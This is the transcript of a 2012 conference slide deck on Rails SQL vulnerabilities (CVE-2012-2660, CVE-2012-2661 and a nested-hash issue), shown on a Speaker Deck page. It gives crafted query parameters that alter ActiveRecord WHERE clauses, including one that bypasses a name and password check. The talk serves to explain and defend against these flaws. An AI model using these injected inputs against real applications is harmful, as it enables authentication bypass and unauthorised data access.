Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
"Recent Rails SQL Issues" - 2012
Search
Justin Collins
April 23, 2015
Programming
91
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
"Recent Rails SQL Issues" - 2012
Justin Collins
April 23, 2015
More Decks by Justin Collins
See All by Justin Collins
Continuous (Application) Security at DevOps Velocity
presidentbeef
0
180
The Evolution of Rails Security
presidentbeef
1
890
Brakeman RailsConf 2017 Lightning Talk
presidentbeef
0
180
Practical Static Analysis for Continuous Application Security
presidentbeef
0
270
"...But Doesn't Rails Take Care of Security for Me?"
presidentbeef
1
510
Continuous Security with Practical Static Analysis
presidentbeef
1
390
Security Automation at Twitter - Rise of the Machines
presidentbeef
0
320
The World of Rails Security - RailsConf 2015
presidentbeef
8
1.3k
Tales from the Crypt
presidentbeef
1
290
Other Decks in Programming
See All in Programming
What We Talk About When We Talk About XP
m_seki
2
630
GKE で Pod の見方を変えたら、スケールアウト時の挙動を真に捉えられた話
stkk
0
120
スマート反転とウェブアクセシビリティ
camiha
0
210
大喜利で理解するLLM as a Judge / Understanding LLM-as-a-Judge through Ogiri
rockname
0
110
AWS DevOps Agentで インシデント対応をAIに任せたい
honmarkhunt
7
2.9k
AI Agent時代のリアーキテクチャ戦略と実践
hokaccha
9
4.5k
一人だけ、Kiroが静止する日
hideg
0
110
kubernetes コンポーネント開発入門 / 新卒N年目の勉強会&交流会!〜〇〇への誘い〜 #n_study
mazrean
0
240
標準パッケージに uuid が追加された 背景から見る Go らしい意思決定 / go_127_uuid_decision
convto
5
7.2k
Snowflakeで業務アプリを作ろう。 Snowflakeのアプリ機能解説&実践ガイド
ayumu_yamaguchi
1
280
数年滞っていたダークモード対応をおよそ2週間で完了させる
chigichan24
0
710
FreeBSDでZabbixを動かす.pdf
kenkino
0
280
Featured
See All Featured
Visualizing Your Data: Incorporating Mongo into Loggly Infrastructure
mongodb
50
10k
Typedesign – Prime Four
hannesfritz
42
3.2k
The Cult of Friendly URLs
andyhume
79
7k
We Have a Design System, Now What?
morganepeng
55
8.3k
A Modern Web Designer's Workflow
chriscoyier
699
190k
The Language of Interfaces
destraynor
162
27k
XXLCSS - How to scale CSS and keep your sanity
sugarenia
250
1.3M
Un-Boring Meetings
codingconduct
0
420
Bioeconomy Workshop: Dr. Julius Ecuru, Opportunities for a Bioeconomy in West Africa
akademiya2063
PRO
1
360
Navigating the moral maze — ethical principles for Al-driven product design
skipperchong
2
540
<Decoding/> the Language of Devs - We Love SEO 2024
nikkihalliwell
1
330
Intergalactic Javascript Robots from Outer Space
tanoku
273
27k
Transcript
Rails Vulnerabilities Last Week CVE-2012-2660 CVE-2012-2661
CVE-2012-2660 Allows unexpected “IS NULL” in queries Affects Rails 2.x
and 3.x
ActiveRecord Query unless params[:name].nil? @user = User.where(:name => params[:name]) end
Query Parameters ?name[] {"name"=>[nil]}
ActiveRecord Query unless [nil].nil? @user = User.where(:name => [nil]) end
Resulting SQL SELECT "users".* FROM "users" WHERE "users"."name" IS NULL
CVE-2012-2661 Allows some manipulation of WHERE clause via “dotted” query
keys Affects Rails 3.x
ActiveRecord Query User.where(:name => params[:name])
ActiveRecord Query User.where("users.name" => params[:name])
Query Parameters ?name[users.id]=1 {"name"=>{"users.id"=>"1"}}
ActiveRecord Query User.where(:name => {"users.id" => "1"})
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1
Unreleased Vulnerability Allows some manipulation of WHERE clause via nested
hashes in query values Affects 2.3.x and 3.x
ActiveRecord Query User.where(:name => params[:name], :password => params[:password])
Query Parameters ?name[users][id]=1&password[users][id]=1 {"name"=>{"users"=>{"id"=>"1"}}, "password" =>{"users"=>{"id"=>"1"}}}
ActiveRecord Query User.where( :name => {"users"=>{"id"=>"1"}, :password => {"users"=>{"id"=>"1"} )
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1 AND "users"."id" = 1